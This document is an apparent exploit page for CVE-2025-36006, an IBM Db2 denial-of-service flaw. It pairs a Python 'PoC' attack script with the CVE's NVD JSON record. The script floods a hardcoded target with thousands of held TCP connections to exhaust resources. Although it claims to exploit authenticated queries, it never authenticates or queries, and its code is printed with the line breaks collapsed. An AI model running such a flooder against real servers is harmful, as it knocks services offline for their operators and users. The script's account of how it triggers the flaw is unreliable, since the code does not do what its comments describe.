CVE-2025-36006

import socket import time # CVE-2025-36006 PoC - IBM Db2 Resource Release Vulnerability # This PoC demonstrates resource exhaustion via repeated authenticated queries # Note: Requires valid IBM Db2 credentials def connect_db2(host, port, username, password): """Establish connection to IBM Db2 server""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) # Db2 connection protocol handshake # In real attack, use db2 CLI or Python ibm_db module return sock except Exception as e: print(f"Connection failed: {e}") return None def trigger_resource_exhaustion(host, port, iterations=10000): """Trigger vulnerability by exhausting resources through repeated queries""" print(f"[*] Starting resource exhaustion attack on {host}:{port}") print(f"[*] Target: CVE-2025-36006 - IBM Db2 Improper Resource Release") connections = [] try: for i in range(iterations): # Create connections without proper cleanup conn = connect_db2(host, port, "valid_user", "valid_pass") if conn: connections.append(conn) # Execute queries that may trigger resource leak if i % 100 == 0: print(f"[*] Iteration {i}: Active connections: {len(connections)}") time.sleep(0.01) # After resource exhaustion, service becomes unavailable if len(connections) >= 5000: print("[!] Resources likely exhausted - service may be down") break except KeyboardInterrupt: print("\n[!] Attack interrupted by user") finally: print(f"[*] Attack completed - {len(connections)} connections held") print("[*] In real scenario, service should be unavailable") if __name__ == "__main__": # Configuration TARGET_HOST = "192.168.1.100" TARGET_PORT = 50000 # Default IBM Db2 port print("=" * 60) print("CVE-2025-36006 IBM Db2 DoS PoC") print("=" * 60) trigger_resource_exhaustion(TARGET_HOST, TARGET_PORT)

{"cve": {"id": "CVE-2025-36006", "sourceIdentifier": "[email protected]", "published": "2025-11-07T19:16:23.770", "lastModified": "2025-11-19T16:31:34.320", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Db2 10.5.0 through 10.5.11, 11.1.0 through 11.1.4.7, 11.5.0 through 11.5.9, and 12.1.0 through 12.1.3 for Linux, UNIX and Windows (includes Db2 Connect Server) could allow an authenticated user to cause a denial due to the improper release of resources after use."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-404"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:linux:*:*", "versionStartIncluding": "10.5.0.0", "versionEndIncluding": "10.5.0.11", "matchCriteriaId": "385D4613-C252-4075-8485-55B8E32DC970"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:unix:*:*", "versionStartIncluding": "10.5.0.0", "versionEndIncluding": "10.5.0.11", "matchCriteriaId": "9DD542DB-0839-4057-8551-55154788182A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:windows:*:*", "versionStartIncluding": "10.5.0.0", "versionEndIncluding": "10.5.0.11", "matchCriteriaId": "D9ED6DEF-712F-4BB0-8676-D5DB6A269EBF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:linux:*:*", "versionStartIncluding": "11.1.0", "versionEndIncluding": "11.1.4.7", "matchCriteriaId": "3B5A9A8A-5EE6-428A-8B3D-543B2F84D615"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:unix:*:*", "versionStartIncluding": "11.1.0", "versionEndIncluding": "11.1.4.7", "matchCriteriaId": "5971CCFD-FB34-4216-8A87-A4310EF34F23"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:windows:*:*", "versionStartIncluding": "11.1.0", "versionEndIncluding": "11.1.4.7", "matchCriteriaId": "960AA97F-0D2C-4B33-9754-69BC28399BCE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:linux:*:*", "versionStartIncluding": "11.5.0", "versionEndIncluding": "11.5.9", "matchCriteriaId": "ECAF5576-B4A5-4DB7-94F0-942F656F0461"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:unix:*:*", "versionStartIncluding": "11.5.0", "versionEndIncluding": "11.5.9", "matchCriteriaId": "B1E165E8-F11B-4F13-B54A-90D29CA2ABF8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:windows:*:*", "versionStartIncluding": "11.5.0", "versionEndIncluding": "11.5.9", "matchCriteriaId": "727E2804-2D3D-4C31-A3E5-F99107D02A27"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:linux:*:*", "versionStartIncluding": "12.1.0", "versionEndIncluding": "12.1.3", "matchCriteriaId": "2AA1764B-CD82-4B33-B85B-27CA2F7C0ED5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:unix:*:*", "versionStartIncluding": "12.1.0", "versionEndIncluding": "12.1.3", "matchCriteriaId": "8F63D92C-AC19-4FB0-A605-08DC01875E7B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:windows:*:*", "versionStartIncluding": "12.1.0", "versionEndIncluding": "12.1.3", "matchCriteriaId": "E28DCDF3-EF5B-47D6-BD38-C98334B67BE4"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7250479", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}